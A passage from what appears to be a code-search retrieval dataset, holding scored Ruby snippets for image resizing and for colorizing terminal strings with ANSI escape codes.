#@image_view.sizeToFit\n end", "title": "" }, { "docid": "3ff01660906ac2fbe9498a1681dfc8e2", "score": "0.57526195", "text": "def resize_and_pad(width, height, background=:transparent, gravity='Center')\n manipulate! do |img|\n opt={}\n opt[:thumbnail] = \"#{width}x#{height}>\"\n background == :transparent ? opt[:background] = \"rgba(255, 255, 255, 0.0)\" : opt[:background] = background\n opt[:gravity] = gravity\n opt[:extent] = \"#{width}x#{height}\"\n img.manipulate!(opt)\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "60978feead9341e47abc806288f748e5", "score": "0.574168", "text": "def calc_resize(geometry) \n EasyImgUtils.calc_resize(info()[:geometry], geometry)\n end", "title": "" }, { "docid": "83d7896972a16bb60d9db189d2d5c042", "score": "0.5740737", "text": "def resize_to_fill(width, height, gravity = 'Center')\n manipulate! do |img|\n cols, rows = img.dimensions[:x].to_i, img.dimensions[:y].to_i\n opt={}\n if width != cols || height != rows\n scale = [width/cols.to_f, height/rows.to_f].max\n cols = (scale * (cols + 0.5)).round\n rows = (scale * (rows + 0.5)).round\n opt[:resize] = \"#{cols}x#{rows}\"\n end\n opt[:gravity] = gravity\n opt[:background] = \"rgba(255,255,255,0.0)\"\n opt[:extent] = \"#{width}x#{height}\" if cols != width || rows != height\n img.manipulate!(opt)\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "6c6d7fa0689b83a5f75a2a0c5f68dff7", "score": "0.573873", "text": "def shrink_to_fit(new_width, new_height, &block)\n new_width, new_height = scale_dimensions_to_fit(new_width, new_height)\n return block.call(self) if new_width >= width && new_height >= height\n squish(new_width, new_height, &block)\n end", "title": "" }, { "docid": "ecff15e4c3048799d3319ed756ba3638", "score": "0.57308674", "text": "def small(input) # Method that returns the image\n self.images[input].variant(resize: \"300x300\").processed # Resizing the image and return it\n end", "title": "" }, { "docid": "4a70793631d2d8c44c865a461a195610", "score": "0.57210755", "text": "def resize_to_fill(new_width, new_height)\n manipulate! do |image|\n\n image = resize_image image, new_width, new_height, :max\n\n if image.width > new_width\n top = 0\n left = (image.width - new_width) / 2\n elsif image.height > new_height\n left = 0\n top = (image.height - new_height) / 2\n else\n left = 0\n top = 0\n end\n\n # Floating point errors can sometimes chop off an extra pixel\n # TODO: fix all the universe so that floating point errors never happen again\n new_height = image.height if image.height < new_height\n new_width = image.width if image.width < new_width\n\n image.extract_area(left, top, new_width, new_height)\n\n end\n end", "title": "" }, { "docid": "a549b6a99db1d077183f11904f9183e3", "score": "0.5711963", "text": "def resize_post_with_http_info(max_width, max_height, image_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResizeApi.resize_post ...'\n end\n # verify the required parameter 'max_width' is set\n if @api_client.config.client_side_validation && max_width.nil?\n fail ArgumentError, \"Missing the required parameter 'max_width' when calling ResizeApi.resize_post\"\n end\n # verify the required parameter 'max_height' is set\n if @api_client.config.client_side_validation && max_height.nil?\n fail ArgumentError, \"Missing the required parameter 'max_height' when calling ResizeApi.resize_post\"\n end\n # verify the required parameter 'image_file' is set\n if @api_client.config.client_side_validation && image_file.nil?\n fail ArgumentError, \"Missing the required parameter 'image_file' when calling ResizeApi.resize_post\"\n end\n # resource path\n local_var_path = '/image/resize/preserveAspectRatio/{maxWidth}/{maxHeight}'.sub('{' + 'maxWidth' + '}', max_width.to_s).sub('{' + 'maxHeight' + '}', max_height.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n form_params['imageFile'] = image_file\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResizeApi#resize_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9c00ee71f70c1607717d88925df08460", "score": "0.5708542", "text": "def resize!(*args)\n width, height = Geometry.new(*args).dimensions\n resize(\"#{width}x#{height}^\").crop(width, height).repage\n end", "title": "" }, { "docid": "840f487b2e1800c35f451146aa034321", "score": "0.5704807", "text": "def resize_to_fill_at\n image = ManagedImage.from_path(params[:image])\n width = params[:width].to_i\n height = params[:height].to_i\n x = params[:x].to_f / 100\n y = params[:y].to_f / 100\n render json: image.resize_to_fill_at(width, height, x, y)\n end", "title": "" } ]
37a2235175a75b959bde940ace823f50
Colorize the given +string+ with the specified +attributes+ and return it, handling lineendings, color reset, etc.
[ { "docid": "bbed0a1f06f49d50df11effc2fb109a7", "score": "0.55052876", "text": "def colorize( *args )\n\tstring = ''\n\t\n\tif block_given?\n\t\tstring = yield\n\telse\n\t\tstring = args.shift\n\tend\n\t\n\tending = string[/(\\s)$/] || ''\n\tstring = string.rstrip\n\n\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\nend", "title": "" } ]
[ { "docid": "f33fc7bf3948bfabd3dd07537982da4b", "score": "0.7888094", "text": "def colorize( string, *attributes )\n\t\tending = string[/(\\s)$/] || ''\n\t\tstring = string.rstrip\n\t\treturn ansi_code( attributes.flatten ) + string + ansi_code( 'reset' ) + ending\n\tend", "title": "" }, { "docid": "d21f8154238786b9e09014c8112a6f54", "score": "0.7662362", "text": "def colorize( string, *attributes )\n\t\tending = string[/(\\s)$/] || ''\n\t\tstring = string.rstrip\n\t\treturn ansi_code( *attributes ) + string + ansi_code( 'reset' ) + ending\n\tend", "title": "" }, { "docid": "d47fb5dfa842efbbec37d846a3a6d7c5", "score": "0.67579657", "text": "def color(name, string = nil, &block)\n attribute = Attribute[name] or raise ArgumentError, \"unknown attribute #{name.inspect}\"\n result = ''\n result << \"\\e[#{attribute.code}m\" if Term::ANSIColor.coloring?\n if block_given?\n result << yield.to_s\n elsif string.respond_to?(:to_str)\n result << string.to_str\n elsif respond_to?(:to_str)\n result << to_str\n else\n return result #only switch on\n end\n result << \"\\e[0m\" if Term::ANSIColor.coloring?\n result.extend(Term::ANSIColor)\n end", "title": "" }, { "docid": "890a515b9885ebf4650f4fcc9a6155b9", "score": "0.66052157", "text": "def decorate_string(str, istruct)\n result = Rainbow(str)\n result = colorize(result, istruct.color, istruct.bgcolor)\n result = result.bold if istruct.bold\n result = result.italic if istruct.italic\n result = result.underline if istruct.underline\n result = result.blink if istruct.blink\n result\n end", "title": "" }, { "docid": "71121ba2fb445c656f3cfea4cc395e1d", "score": "0.65396637", "text": "def colorize(string)\n process_color_markers string do |color, styles, text|\n \"#{styles}#{color}#{text}#{ANSI_STYLES['z']}\"\n end\n end", "title": "" }, { "docid": "161c3fdf5105e0cc5d1f98b69f627461", "score": "0.6374077", "text": "def colorize(string, *colors)\n string\n end", "title": "" }, { "docid": "c6b08d8a82bce54bf1a74b33939189bf", "score": "0.63308", "text": "def colorString(string, txtcolor = \"green\", bgcolor= \"black\")\n puts ColorizedString[\"#{string}\"].colorize(\n :color => txtcolor.to_sym,\n :background => bgcolor.to_sym\n )\nend", "title": "" }, { "docid": "a0fe5bd85da609f1425483c76b553305", "score": "0.62414855", "text": "def decode_attribute (string, from, oldattr, newattr)\n table = {\n 'B' => Ncurses::A_BOLD,\n 'D' => Ncurses::A_DIM,\n 'K' => Ncurses::A_BLINK,\n 'R' => Ncurses::A_REVERSE,\n 'S' => Ncurses::A_STANDOUT,\n 'U' => Ncurses::A_UNDERLINE\n }\n\n result = if string.nil? then '' else string end\n base_len = result.size\n tmpattr = oldattr & Ncurses::A_ATTRIBUTES\n\n newattr &= Ncurses::A_ATTRIBUTES\n if tmpattr != newattr\n while tmpattr != newattr\n found = false\n table.keys.each do |key|\n if (table[key] & tmpattr) != (table[key] & newattr)\n found = true\n result << CDK::L_MARKER\n if (table[key] & tmpattr).nonzero?\n result << '!'\n tmpattr &= ~(table[key])\n else\n result << '/'\n tmpattr |= table[key]\n end\n result << key\n break\n end\n end\n # XXX: Only checks if terminal has colours not if colours are started\n if Ncurses.has_colors?\n if (tmpattr & Ncurses::A_COLOR) != (newattr & Ncurses::A_COLOR)\n oldpair = Ncurses.PAIR_NUMBER(tmpattr)\n newpair = Ncurses.PAIR_NUMBER(newattr)\n if !found\n found = true\n result << CDK::L_MARKER\n end\n if newpair.zero?\n result << '!'\n result << oldpair.to_s\n else\n result << '/'\n result << newpair.to_s\n end\n tmpattr &= ~(Ncurses::A_COLOR)\n newattr &= ~(Ncurses::A_COLOR)\n end\n end\n\n if found\n result << CDK::R_MARKER\n else\n break\n end\n end\n end\n\n return from + result.size - base_len\n end", "title": "" }, { "docid": "7f18fc48f2b9a109c1c93bb636816967", "score": "0.61507833", "text": "def attributes_from_colors(s)\n\t\t\ts.scan(Colorer.regexp(:ansi)).flat_map do |a|\n\t\t\t\tnext :reset if a==\"\\e[m\" #alternative for reset\n\t\t\t\tstack=[]\n\t\t\t\t# a[/\\e\\[(.*)m/,1].split(';').map {|c| Colorer.colors.key(c.to_i)}\n\t\t\t\tcodes=a[/\\e\\[(.*)m/,1].split(';')\n\t\t\t\ti=0; while i<codes.length do\n\t\t\t\t\tc=codes[i]\n\t\t\t\t\tif c==\"38\" or c==\"48\"\n\t\t\t\t\t\tif codes[i+1]==\"5\" #256 colors\n\t\t\t\t\t\t\tv=codes[i+2]\n\t\t\t\t\t\t\tstack << RGB.new(v.to_i, mode: 256, background: c==\"48\")\n\t\t\t\t\t\t\ti+=3\n\t\t\t\t\t\telsif codes[i+1]==\"2\" #true colors\n\t\t\t\t\t\t\tr=codes[i+2].to_i; g=codes[i+3].to_i; b=codes[i+4].to_i\n\t\t\t\t\t\t\tstack << RGB.new([r,g,b], background: c==\"48\")\n\t\t\t\t\t\t\ti+=5\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tstack << Colorer.colors.key(c.to_i)\n\t\t\t\t\t\ti+=1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tstack\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "6ede2ac4951b4221960e3a7f8d4ec043", "score": "0.61196333", "text": "def colorize(str, options = {})\n key = (options[:key] || str).strip\n color, bg, underline = @colormap[key]\n if color && Sickill::Rainbow::TERM_COLORS.keys.include?(color.to_sym)\n return color_and_bg(str, color, bg)\n end\n @colormap[key] = color_combo_for(key)\n color, bg, underline = @colormap[key]\n return str unless color\n color_and_bg(str, color, bg)\n end", "title": "" }, { "docid": "6761bf4d828f9a02d5d43cf85ad88b21", "score": "0.60856646", "text": "def apply_attributes(attributed_string, start, length, styles)\n return unless attributed_string && start && length && styles # sanity\n return unless start >= 0 && length > 0 && styles.length > 0 # minimums\n return unless start + length <= attributed_string.length # maximums\n\n range = [start, length]\n\n ATTRIBUTES.each_pair do |method_name, attribute_name|\n value = send method_name, styles\n attributed_string.addAttribute(attribute_name, value: value, range: range) if value\n end\n end", "title": "" }, { "docid": "ecaf0183c810921325262b0e2e00b2cb", "score": "0.6069505", "text": "def decorate(string, *colors)\n return string if blank?(string) || !enabled || colors.empty?\n\n ansi_colors = lookup(*colors.dup.uniq)\n if eachline\n string.dup.split(eachline).map! do |line|\n apply_codes(line, ansi_colors)\n end.join(eachline)\n else\n apply_codes(string.dup, ansi_colors)\n end\n end", "title": "" }, { "docid": "311ce71cddd7144aef97db5e413512ca", "score": "0.59628975", "text": "def colorize_if_possible(string, colorize_options)\n return string unless string.respond_to?(:colorize)\n string.colorize(colorize_options)\n end", "title": "" }, { "docid": "254efb1c19f1eb92de0b591dbfe4abed", "score": "0.5961706", "text": "def decorate(string, (fg, bg, bright, underline))\n if (!STDOUT.isatty) || @output_type == :raw || @disabled\n return string\n end\n\n fg = get_colour_instance fg\n bg = get_colour_instance bg\n\n output = []\n lines = string.lines.map(&:chomp)\n lines.each do |line|\n unless line.length <= 0\n line = case @palette.type\n when \"ansi\" then colour_ansi line, fg, bg\n when \"extended\" then colour_extended line, fg, bg\n else raise \"Unknown palette '#{@palette.type}'.\"\n end\n\n if bright\n line = e(1) + line\n end\n\n if underline\n line = e(4) + line\n end\n\n if (bright or underline) and fg == nil and bg == nil\n line << e(0)\n end\n end\n\n output.push line\n end\n\n output << \"\" if string =~ /\\n$/\n output.join \"\\n\"\n end", "title": "" }, { "docid": "0e4517cde647ed92e3c4e105ad1b415c", "score": "0.59171414", "text": "def colorize(string)\n stack = []\n\n # split the string into tags and literal strings\n tokens = string.split(/(<\\/?[\\w\\d_]+>)/)\n tokens.delete_if { |token| token.size == 0 }\n\n result = \"\"\n\n tokens.each do |token|\n\n # token is an opening tag!\n\n if /<([\\w\\d_]+)>/ =~ token and VALID_COLORS.include?($1) #valid_tag?($1)\n stack.push $1\n\n # token is a closing tag!\n\n elsif /<\\/([\\w\\d_]+)>/ =~ token and VALID_COLORS.include?($1) # valid_tag?($1)\n\n # if this color is on the stack somwehere...\n if pos = stack.rindex($1)\n # close the tag by removing it from the stack\n stack.delete_at pos\n else\n raise \"Error: tried to close an unopened color tag -- #{token}\"\n end\n\n # token is a literal string!\n\n else\n\n color = (stack.last || \"white\")\n #color = BBS_COLOR_TABLE[color.to_i] if color =~ /^\\d+$/\n result << send(color, token) # colorize the result\n\n end\n\n end\n\n result\n end", "title": "" }, { "docid": "562c1b994c2f0159f5710095641cd8b7", "score": "0.58995587", "text": "def irc_format!(*settings, string)\n string = string.dup\n\n attributes = settings.select {|k| @@attributes.has_key?(k)}.map {|k| @@attributes[k]}\n colors = settings.select {|k| @@colors.has_key?(k)}.map {|k| @@colors[k]}\n if colors.size > 2\n raise ArgumentError, \"At most two colors (foreground and background) might be specified\"\n end\n\n attribute_string = attributes.join\n color_string = if colors.empty?\n \"\"\n else\n \"\\x03#{colors.join(\",\")}\"\n end\n\n prepend = attribute_string + color_string\n append = @@attributes[:reset]\n\n # attributes act as toggles, so e.g. underline+underline = no\n # underline. We thus have to delete all duplicate attributes\n # from nested strings.\n string.delete!(attribute_string)\n\n # Replace the reset code of nested strings to continue the\n # formattings of the outer string.\n string.gsub!(/#{@@attributes[:reset]}/, @@attributes[:reset] + prepend)\n string.insert(0, prepend)\n string << append\n return string\n end", "title": "" }, { "docid": "e9ac901678cb51843c1e7f307204b098", "score": "0.5881633", "text": "def to_attributes string\n matches = normalize(matches string)\n patterns.inject Attributes.new do |acc, pattern|\n key = pattern.class.to_s\n matches.include?(key) ? pattern.process(acc, matches[pattern.class.to_s]) : acc\n end\n end", "title": "" }, { "docid": "0ab59aeefffc189e47734ba92c6c442e", "score": "0.5869123", "text": "def recolorize(string)\n level = 0\n string.gsub(/\\e\\[(\\d+(?:;\\d+)*)m/) do\n ''.tap do |buffer|\n codes = $1.split(\";\").map(&:to_i)\n\n classes = []\n while (code = codes.shift)\n case code\n when 0\n classes.clear\n buffer << (\"</span>\" * level)\n level = 0\n when 1..5, 9, 30..37\n classes << \"term-fg#{code}\"\n when 38\n if codes[0] == 5\n codes.shift\n if codes[0]\n classes << \"term-fgx#{codes.shift}\"\n end\n end\n when 40..47\n classes << \"term-bg#{code}\"\n when 48\n if codes[0] == 5\n codes.shift\n if codes[0]\n classes << \"term-bgx#{codes.shift}\"\n end\n end\n when 90..97\n classes << \"term-fgi#{code}\"\n when 100..107\n classes << \"term-bgi#{code}\"\n end\n end\n\n if classes.any?\n level += 1\n buffer << %{<span class=#{classes.map { |klass| klass }.join(' ').encode(xml: :attr)}>}\n end\n end\n end << (\"</span>\" * level)\n end", "title": "" }, { "docid": "d4a9c8252018da97d09563b223ad92a4", "score": "0.5784827", "text": "def parse string\n self.styles.inject(string) do |str, (name, options)|\n glyph, style = options[:match], options[:style]\n if glyph.is_a? Array\n str.gsub(/#{Regexp.escape(glyph.first)}(.*?)\n #{Regexp.escape(glyph.last)}/x) { stylize $1, style }\n else\n str.gsub(/(#{Regexp.escape(glyph)}+)(.*?)\\1/) { stylize $2, style }\n end\n end\n end", "title": "" }, { "docid": "eec561780a566c24af5b91d430cc212c", "score": "0.5784319", "text": "def colorize\n require_relative \"colored_string\"\n ColoredString.new(self)\n end", "title": "" }, { "docid": "d003235db82e496d0e5d083b61563a2f", "score": "0.5772265", "text": "def colorize(string:, color:, bkgrnd: 'default', bold: 0)\n text = txt_color(color)\n background = bg_color(bkgrnd)\n \"\\033[#{bold};#{background};#{text}m#{string}\\33[0m\"\nend", "title": "" }, { "docid": "63f18af8cf37f027d108445a1bedeff1", "score": "0.5764005", "text": "def color(string, *colors)\n string\n end", "title": "" }, { "docid": "7d1a37bf7ecbd2b929f41b277ed9d867", "score": "0.5760446", "text": "def colorize(string=nil, options = {})\n if string == nil\n return self.tagged_colors\n end\n\n if @@is_tty\n colored = [color(options[:foreground]), color(\"on_#{options[:background]}\"), extra(options[:extra])].compact * ''\n colored << string\n colored << extra(:clear)\n else\n string\n end\n end", "title": "" }, { "docid": "91b8e9ab5c62f57ca0cc58bacbd4065c", "score": "0.5722853", "text": "def colorize(fgColor, bgColor, string) \n\t\treturn get_code(bgColor) + get_code(fgColor) + string + get_code(ColorDefault)\n\tend", "title": "" }, { "docid": "a7ba6af29b906fab6ac071f30b5e20c1", "score": "0.5709129", "text": "def colorize!(string, color, bold=1)\n # if they passed us a plain string, escape it\n if string.class == String\n string = Regexp.escape(string)\n end\n\n # this is the default sequence to terminate with (color off)\n end_seq = \"\\e[0m\"\n\n # now determine whether we're in the middle of an existing color\n # we do this by checking if there is an existing \"color off\" sequence\n # *right* in front of us. (IMPORTANT: that means non-greedy match)\n if @log_event =~ /#{string}.*?(\\e\\[0m)/\n # find the location of our target string\n return unless (index = @log_event.index(/#{string}/))\n # find the location of the color sequence we're interrupting\n where = nil\n index.downto(0) do |i| # go backwards until we find <ESC> char\n if (@log_event[i].chr == \"\\e\") #.chr ensures we work with 1.8\n where = i\n break\n end\n end\n # now scrape out the color sequence\n #@log_event.match(/(\\e\\[[\\d;]+m)/, where) #ruby 1.9 only\n @log_event[where..-1].match(/(\\e\\[[\\d;]+m)/)\n end_seq = $1 || \"\\e[0;37m\" # default to white in case badness occurred\n end\n\n # finally wrap the color sequences around our target text\n @log_event.sub!(/(#{string})/, \"\\e[#{bold};#{color}\\\\1#{end_seq}\")\n end", "title": "" }, { "docid": "e883e2bc0ed762078f790c5162556409", "score": "0.56766295", "text": "def strip_color(str); end", "title": "" }, { "docid": "c41acbb0208034b4a72dd46678c22092", "score": "0.5669583", "text": "def stylize string, styles = []\n [styles].flatten.inject(string) do |str, style|\n style = style.to_sym\n if ANSI[:transforms].include? style\n esc str, *ANSI[:transforms][style]\n elsif ANSI[:colors].include? style\n esc str, ANSI[:colors][style], ANSI[:colors][:reset]\n else\n stylize(str, @styles[style][:style])\n end\n end\n end", "title": "" }, { "docid": "40e4741147c7793d87ddf6f4535b640d", "score": "0.5669267", "text": "def highlight(attrText, matchItem = nil, attrHash = {})\n attributes = { color: NSColor.systemRedColor, # NSColor\n tooltip: nil, # string\n traitMask: nil # NSBoldFontMask, NSItalicFontMask, etc\n }.merge(attrHash)\n matchItem = attrText.string if matchItem.nil? # the whole thing\n Array(matchItem).each_with_object(attrText) do |matchText|\n length = matchText.length\n index = -1\n attrText.beginEditing\n while (index = attrText.string.index(matchText, index + 1))\n attrText.addAttribute( NSForegroundColorAttributeName,\n value: attributes[:color],\n range: [index, length] ) unless attributes[:color].nil?\n attrText.addAttribute( NSToolTipAttributeName,\n value: attributes[:tooltip],\n range: [index, length] ) unless attributes[:tooltip].nil?\n attrText.applyFontTraits( attributes[:traitMask],\n range: [index, length] ) unless attributes[:traitMask].nil?\n end\n attrText.endEditing\n end\nend", "title": "" }, { "docid": "713d857877c30eb1d4ad527b68c16050", "score": "0.5664532", "text": "def pink(string)\n colorize(string, 35)\nend", "title": "" }, { "docid": "772ce95936f742bfeddd8a811a3f259d", "score": "0.5663323", "text": "def colored( prompt, *attributes )\n return ansiCode( *(attributes.flatten) ) + prompt + ansiCode( 'reset' )\n end", "title": "" }, { "docid": "a7ec726a3cb72a8ec56b3cb8b866e63d", "score": "0.5618703", "text": "def color(*args)\n out = []\n for arg in args\n col = ATTRIBUTES[arg] \n if col \n out << \"\\e[#{col}m\"\n else\n out << arg\n end\n end\n out << \"\\e[0m\"\n return out\n end", "title": "" }, { "docid": "af55bcca83e96ffc70ba2c5d1413b003", "score": "0.5616313", "text": "def normalize_attributes!(string)\n string.sub!(REGEX_FIND_HTML_ATTR_ID, ' id=\"\\1\"')\n string.sub!(REGEX_FIND_HTML_ATTR_CLASSES, ' class=\"\\1\"') && string.gsub!('.', ' ')\n end", "title": "" }, { "docid": "50c2248cc51d2f4a44487ece37cdcb67", "score": "0.5575114", "text": "def obfuscate_for_formatted str, background_color = \"FFFFFF\", options = {}\n str.\n split('').\n map do |l|\n [ { text: l }.merge(options), \n { text: \"l\", size: 1, color: background_color } ]\n end.\n flatten\n end", "title": "" }, { "docid": "aeeaec4bf99c6da42ad93930c02c34f5", "score": "0.5547067", "text": "def colorize( *args )\n\t\t\tstring = ''\n\n\t\t\tif block_given?\n\t\t\t\tstring = yield\n\t\t\telse\n\t\t\t\tstring = args.shift\n\t\t\tend\n\n\t\t\tending = string[/(\\s)$/] || ''\n\t\t\tstring = string.rstrip\n\n\t\t\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\n\t\tend", "title": "" }, { "docid": "aeeaec4bf99c6da42ad93930c02c34f5", "score": "0.5547067", "text": "def colorize( *args )\n\t\t\tstring = ''\n\n\t\t\tif block_given?\n\t\t\t\tstring = yield\n\t\t\telse\n\t\t\t\tstring = args.shift\n\t\t\tend\n\n\t\t\tending = string[/(\\s)$/] || ''\n\t\t\tstring = string.rstrip\n\n\t\t\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\n\t\tend", "title": "" }, { "docid": "aeeaec4bf99c6da42ad93930c02c34f5", "score": "0.5547067", "text": "def colorize( *args )\n\t\t\tstring = ''\n\n\t\t\tif block_given?\n\t\t\t\tstring = yield\n\t\t\telse\n\t\t\t\tstring = args.shift\n\t\t\tend\n\n\t\t\tending = string[/(\\s)$/] || ''\n\t\t\tstring = string.rstrip\n\n\t\t\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\n\t\tend", "title": "" }, { "docid": "aeeaec4bf99c6da42ad93930c02c34f5", "score": "0.5547067", "text": "def colorize( *args )\n\t\t\tstring = ''\n\n\t\t\tif block_given?\n\t\t\t\tstring = yield\n\t\t\telse\n\t\t\t\tstring = args.shift\n\t\t\tend\n\n\t\t\tending = string[/(\\s)$/] || ''\n\t\t\tstring = string.rstrip\n\n\t\t\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\n\t\tend", "title": "" }, { "docid": "aeeaec4bf99c6da42ad93930c02c34f5", "score": "0.5547067", "text": "def colorize( *args )\n\t\t\tstring = ''\n\n\t\t\tif block_given?\n\t\t\t\tstring = yield\n\t\t\telse\n\t\t\t\tstring = args.shift\n\t\t\tend\n\n\t\t\tending = string[/(\\s)$/] || ''\n\t\t\tstring = string.rstrip\n\n\t\t\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\n\t\tend", "title": "" }, { "docid": "aeeaec4bf99c6da42ad93930c02c34f5", "score": "0.5547067", "text": "def colorize( *args )\n\t\t\tstring = ''\n\n\t\t\tif block_given?\n\t\t\t\tstring = yield\n\t\t\telse\n\t\t\t\tstring = args.shift\n\t\t\tend\n\n\t\t\tending = string[/(\\s)$/] || ''\n\t\t\tstring = string.rstrip\n\n\t\t\treturn ansi_code( args.flatten ) + string + ansi_code( 'reset' ) + ending\n\t\tend", "title": "" }, { "docid": "a151cb95a4d88f655466310c38868ca6", "score": "0.5534024", "text": "def colorize(s, color)\n ansi_codes = { :black => 30, :red => 31, :green => 32, :yellow => 33,\n :blue => 34, :magenta => 35, :cyan => 36, :white => 37 }\n if ! ansi_codes.key? color\n return s\n else\n code = ansi_codes[color]\n return \"\\x1b[#{code}m#{s}\\x1b[0m\"\n end\nend", "title": "" }, { "docid": "200488b23460b6eff1c4215703c99555", "score": "0.5518617", "text": "def colorize(string, color_code)\n \"\\e[#{color_code}m#{string}\\e[0m\"\nend", "title": "" }, { "docid": "bc8a7ff2b45d0142286a62e16d76251a", "score": "0.550174", "text": "def highlight_string( string )\n\t\t\treturn hl( string ).color( :highlight )\n\t\tend", "title": "" }, { "docid": "c001ef960727c717e96690ab6583049b", "score": "0.54977393", "text": "def obfuscate_inline str, background_color = \"FFFFFF\"\n str.split('').\n product([\"<font size='1'><color rgb='#{background_color}'>l</color></font>\"]).\n flatten.\n join\n end", "title": "" }, { "docid": "5b48eb7db3b0182c7f6de127317dc106", "score": "0.5491168", "text": "def colorize_str(str_arr)\n colorized_str = \"\"\n str_arr.each_index do |y|\n str_arr[y].each_index do |x|\n colorized_str += highlight(str_arr[y][x], [y, x])\n end\n colorized_str += \"\\n\"\n end \n\n return colorized_str\n end", "title": "" }, { "docid": "010aa5120f5955cf8a9fbba720507d88", "score": "0.54851055", "text": "def colorize(str, code)\n if @color\n \"\\e[#{code}m#{str}\\e[0m\"\n else\n str\n end\n end", "title": "" }, { "docid": "c9bddbadab64d2a20ef07337c7624fbb", "score": "0.5458362", "text": "def green(text); colorize(text, 32);end", "title": "" }, { "docid": "7b382d3a3e5c8a48405437ab24f5d9e5", "score": "0.54552567", "text": "def bg_red(str)\n colorize(str, 41)\n end", "title": "" }, { "docid": "68056cb25b13fa60acb4060153606ec9", "score": "0.5451124", "text": "def parse_attributes(attribute_string)\n @attributes = Hash.new #define empty attributes even if there are none\n \n if attribute_string\n #let the fancy parsing begin\n aparts = attribute_string.split '; '\n \n aparts.each do |bit|\n hbits = bit.split ' '\n if !hbits or hbits.length != 2\n raise Exception, \"Failed to parse attributes in line: #{line}\"\n end\n str = hbits[1].gsub(/\\\"/, '').rstrip.lstrip\n @attributes[hbits[0]] = str\n end\n end\n end", "title": "" }, { "docid": "cd8be415cc91378cd2ffb0ea3b9b7b40", "score": "0.5428851", "text": "def formatAttributes\n @status = @status.downcase\n @batterylife = @batterylife.downcase\n @category = @category[0].upcase + @category[1, @category.length - 1].downcase\n @color = @color.downcase\n @status = @status.downcase\n if @manufacturer =~ /LG|lg|Lg|lG/\n @manufacturer = @manufacturer.upcase\n else\n @manufacturer = @manufacturer[0].upcase + @manufacturer[1, @manufacturer.length - 1].downcase\n end\n end", "title": "" }, { "docid": "14824dd2389a4d0040689291f6406362", "score": "0.54252243", "text": "def blue(string)\n colorize(string, 36)\nend", "title": "" }, { "docid": "2525cb023c091b91535ae8a4affcc685", "score": "0.54145044", "text": "def colour(attrs = {})\n options[:background] = background(attrs[:background])\n options[:foreground] = foreground(attrs[:foreground])\n options\n end", "title": "" }, { "docid": "9e3b74f1c8e28e8c3d4a606bfef528a5", "score": "0.54058737", "text": "def ansiCode( *attributes )\n return '' unless $COLOR\n return '' unless /(?:vt10[03]|screen|[aex]term(?:-color)?|linux|rxvt(?:-unicode))/i =~ ENV['TERM']\n attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';')\n if attr.empty? \n return ''\n else\n if DIST != \"mac\"\n str = \"\\e[%sm\"\n else\n str = \"\\001\\033[%sm\\002\"\n end\n return str % attr\n end\n end", "title": "" }, { "docid": "41b4b9bf2691f61d52eadbeaded6cc93", "score": "0.53978443", "text": "def colorize(str, color)\n colors = {red: 31, green: 32, blue: 34}\n \"\\e[#{colors[color]}m #{str}\\e[0m\"\n end", "title": "" }, { "docid": "cd560b1690b4a49ed2dd1ff36b48da5a", "score": "0.5389288", "text": "def red(str)\n colorize(str, 31)\n end", "title": "" }, { "docid": "7b4e9133fcf7f302c76cbc0d9e22c947", "score": "0.5385731", "text": "def blue(text)\n colorize(text, 34)\nend", "title": "" }, { "docid": "5dfdb8e55b40abda3d5dd29c9c7846f9", "score": "0.53736496", "text": "def red(text); colorize(text, 31);end", "title": "" }, { "docid": "ae061e6b66b5be740273bab9b86d659b", "score": "0.5367637", "text": "def red(text); colorize(text, 31); end", "title": "" }, { "docid": "458697e2dc78f15363f4acc85b4e6bbf", "score": "0.5365762", "text": "def green(text)\n colorize(text, 32)\nend", "title": "" }, { "docid": "b378202c48580a8bafc407ada2daad59", "score": "0.53614825", "text": "def curses_colorize_str(win, str_arr)\n str_arr.each_index do |y|\n str_arr[y].each_index do |x|\n c_highlight(win, str_arr[y][x], [y, x])\n end\n end\n end", "title": "" }, { "docid": "4a6372a0173b161c7de349d0c5c71881", "score": "0.5356242", "text": "def c(str, type)\n return str unless color?\n\n bright = false\n color = user_colors[type]\n if color.to_s =~ /bright-(.+)/\n bright = true\n color = $1.to_sym\n end\n\n return str unless color\n\n code = \"\\e[#{bright ? 9 : 3}#{COLOR_CODES[color]}m\"\n \"#{code}#{str.to_s.gsub(\"\\e[0m\", \"\\e[0m#{code}\")}\\e[0m\"\n end", "title": "" }, { "docid": "7e07e7147b1f1ba6a91bd7638727f2ca", "score": "0.5355067", "text": "def red(text)\n colorize(text, 31)\nend", "title": "" }, { "docid": "7e07e7147b1f1ba6a91bd7638727f2ca", "score": "0.5355067", "text": "def red(text)\n colorize(text, 31)\nend", "title": "" }, { "docid": "96e3640b1e72c41617e3f3ad9c791f43", "score": "0.53479266", "text": "def bg_blue(str)\n colorize(str, 44)\n end", "title": "" }, { "docid": "0739ed6ed04f8cf1d4e411dd11298186", "score": "0.5347342", "text": "def colorize(str, color_code, end_tag = 0)\n 